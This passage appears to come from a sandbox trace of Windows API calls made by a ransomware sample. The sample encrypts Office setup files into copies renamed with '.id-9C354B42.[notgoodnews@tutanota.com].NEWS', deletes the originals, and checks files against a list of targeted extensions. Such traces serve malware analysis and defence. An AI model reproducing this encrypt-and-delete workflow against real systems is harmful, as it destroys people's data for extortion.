liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0055.578] GetLastError () returned 0x0 [0055.578] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0055.667] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0055.669] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.669] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0055.669] SetEndOfFile (hFile=0x1cc) returned 1 [0055.670] CloseHandle (hObject=0x1cc) returned 1 [0055.671] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.671] SetEndOfFile (hFile=0x1ac) returned 1 [0055.673] CloseHandle (hObject=0x1ac) returned 1 [0055.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0055.673] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0055.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0055.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0055.674] lstrlenW (lpString=".doc") returned 4 [0055.674] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0055.674] lstrlenW (lpString=".docx") returned 5 [0055.674] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0055.674] lstrlenW (lpString=".pdf") returned 4 [0055.674] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0055.674] lstrlenW (lpString=".xls") returned 4 [0055.674] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0055.674] lstrlenW (lpString=".xlsx") returned 5 [0055.674] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0055.674] lstrlenW (lpString=".ppt") returned 4 [0055.674] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0055.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0055.674] lstrlenW (lpString=".zip") returned 4 [0055.674] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0055.674] lstrlenW (lpString=".rar") returned 4 [0055.674] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0055.674] lstrlenW (lpString=".bz2") returned 4 [0055.675] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0055.675] lstrlenW (lpString=".7z") returned 3 [0055.675] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0055.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0055.675] lstrlenW (lpString=".dbf") returned 4 [0055.675] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0055.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0055.675] lstrlenW (lpString=".1cd") returned 4 [0055.675] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0055.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0055.675] lstrlenW (lpString=".jpg") returned 4 [0055.675] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0055.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0055.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0055.675] lstrlenW (lpString=".doc") returned 4 [0055.675] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0055.676] lstrlenW (lpString=".docx") returned 5 [0055.676] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0055.676] lstrlenW (lpString=".pdf") returned 4 [0055.676] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0055.676] lstrlenW (lpString=".xls") returned 4 [0055.676] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0055.676] lstrlenW (lpString=".xlsx") returned 5 [0055.676] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0055.676] lstrlenW (lpString=".ppt") returned 4 [0055.676] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0055.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0055.676] lstrlenW (lpString=".zip") returned 4 [0055.676] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0055.676] lstrlenW (lpString=".rar") returned 4 [0055.676] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0055.676] lstrlenW (lpString=".bz2") returned 4 [0055.676] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0055.676] lstrlenW (lpString=".7z") returned 3 [0055.676] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0055.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0055.677] lstrlenW (lpString=".dbf") returned 4 [0055.677] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0055.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0055.677] lstrlenW (lpString=".1cd") returned 4 [0055.677] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0055.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0055.677] lstrlenW (lpString=".jpg") returned 4 [0055.677] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0055.677] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0055.677] lstrlenW (lpString="SETUP.XML") returned 9 [0055.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.678] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=1852) returned 1 [0055.678] CloseHandle (hObject=0x1ac) returned 1 [0055.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0055.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0055.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.679] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.679] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0055.679] GetLastError () returned 0x0 [0055.679] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x73c, lpOverlapped=0x0) returned 1 [0056.054] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x740, lpOverlapped=0x0) returned 1 [0056.056] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.056] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0056.056] SetEndOfFile (hFile=0x1cc) returned 1 [0056.057] CloseHandle (hObject=0x1cc) returned 1 [0056.058] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.058] SetEndOfFile (hFile=0x1ac) returned 1 [0056.059] CloseHandle (hObject=0x1ac) returned 1 [0056.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0056.060] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0056.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0056.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0056.060] lstrlenW (lpString=".doc") returned 4 [0056.060] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0056.060] lstrlenW (lpString=".docx") returned 5 [0056.060] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0056.060] lstrlenW (lpString=".pdf") returned 4 [0056.060] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0056.060] lstrlenW (lpString=".xls") returned 4 [0056.060] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0056.061] lstrlenW (lpString=".xlsx") returned 5 [0056.061] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0056.061] lstrlenW (lpString=".ppt") returned 4 [0056.061] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0056.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0056.061] lstrlenW (lpString=".zip") returned 4 [0056.061] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0056.061] lstrlenW (lpString=".rar") returned 4 [0056.061] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0056.061] lstrlenW (lpString=".bz2") returned 4 [0056.061] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0056.061] lstrlenW (lpString=".7z") returned 3 [0056.061] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0056.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0056.061] lstrlenW (lpString=".dbf") returned 4 [0056.061] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0056.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0056.061] lstrlenW (lpString=".1cd") returned 4 [0056.061] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0056.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0056.061] lstrlenW (lpString=".jpg") returned 4 [0056.061] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0056.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0056.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0056.062] lstrlenW (lpString=".doc") returned 4 [0056.062] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0056.062] lstrlenW (lpString=".docx") returned 5 [0056.062] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0056.062] lstrlenW (lpString=".pdf") returned 4 [0056.062] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0056.062] lstrlenW (lpString=".xls") returned 4 [0056.062] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0056.062] lstrlenW (lpString=".xlsx") returned 5 [0056.062] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0056.062] lstrlenW (lpString=".ppt") returned 4 [0056.062] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0056.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0056.062] lstrlenW (lpString=".zip") returned 4 [0056.062] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0056.062] lstrlenW (lpString=".rar") returned 4 [0056.062] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0056.062] lstrlenW (lpString=".bz2") returned 4 [0056.062] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0056.063] lstrlenW (lpString=".7z") returned 3 [0056.063] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0056.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0056.063] lstrlenW (lpString=".dbf") returned 4 [0056.063] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0056.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0056.063] lstrlenW (lpString=".1cd") returned 4 [0056.063] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0056.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0056.063] lstrlenW (lpString=".jpg") returned 4 [0056.063] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0056.063] lstrcmpiW (lpString1=".CHM", lpString2=".NEWS") returned -1 [0056.063] lstrlenW (lpString="OCT.CHM") returned 7 [0056.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0056.346] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=71236) returned 1 [0056.346] CloseHandle (hObject=0x1a4) returned 1 [0056.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0056.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0056.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0056.347] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.347] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0056.348] GetLastError () returned 0x0 [0056.348] ReadFile (in: hFile=0x1a4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x11644, lpOverlapped=0x0) returned 1 [0056.352] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x11650, lpOverlapped=0x0) returned 1 [0056.356] ReadFile (in: hFile=0x1a4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.356] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0056.356] SetEndOfFile (hFile=0x1e8) returned 1 [0056.356] CloseHandle (hObject=0x1e8) returned 1 [0056.358] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.359] SetEndOfFile (hFile=0x1a4) returned 1 [0056.361] CloseHandle (hObject=0x1a4) returned 1 [0056.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0056.361] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0056.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0056.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0056.362] lstrlenW (lpString=".doc") returned 4 [0056.362] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0056.362] lstrlenW (lpString=".docx") returned 5 [0056.362] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0056.362] lstrlenW (lpString=".pdf") returned 4 [0056.362] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0056.362] lstrlenW (lpString=".xls") returned 4 [0056.362] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0056.362] lstrlenW (lpString=".xlsx") returned 5 [0056.362] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0056.362] lstrlenW (lpString=".ppt") returned 4 [0056.362] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0056.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0056.362] lstrlenW (lpString=".zip") returned 4 [0056.363] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0056.363] lstrlenW (lpString=".rar") returned 4 [0056.363] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0056.363] lstrlenW (lpString=".bz2") returned 4 [0056.363] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0056.363] lstrlenW (lpString=".7z") returned 3 [0056.363] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0056.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0056.363] lstrlenW (lpString=".dbf") returned 4 [0056.363] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0056.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0056.363] lstrlenW (lpString=".1cd") returned 4 [0056.363] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0056.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0056.363] lstrlenW (lpString=".jpg") returned 4 [0056.363] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0056.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0056.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0056.364] lstrlenW (lpString=".doc") returned 4 [0056.364] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0056.364] lstrlenW (lpString=".docx") returned 5 [0056.364] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0056.364] lstrlenW (lpString=".pdf") returned 4 [0056.364] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0056.364] lstrlenW (lpString=".xls") returned 4 [0056.364] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0056.364] lstrlenW (lpString=".xlsx") returned 5 [0056.364] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0056.364] lstrlenW (lpString=".ppt") returned 4 [0056.364] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0056.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0056.364] lstrlenW (lpString=".zip") returned 4 [0056.364] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0056.364] lstrlenW (lpString=".rar") returned 4 [0056.364] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0056.364] lstrlenW (lpString=".bz2") returned 4 [0056.364] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0056.364] lstrlenW (lpString=".7z") returned 3 [0056.364] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0056.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0056.365] lstrlenW (lpString=".dbf") returned 4 [0056.365] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0056.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0056.365] lstrlenW (lpString=".1cd") returned 4 [0056.365] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0056.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0056.365] lstrlenW (lpString=".jpg") returned 4 [0056.365] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0056.365] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0056.365] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0056.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 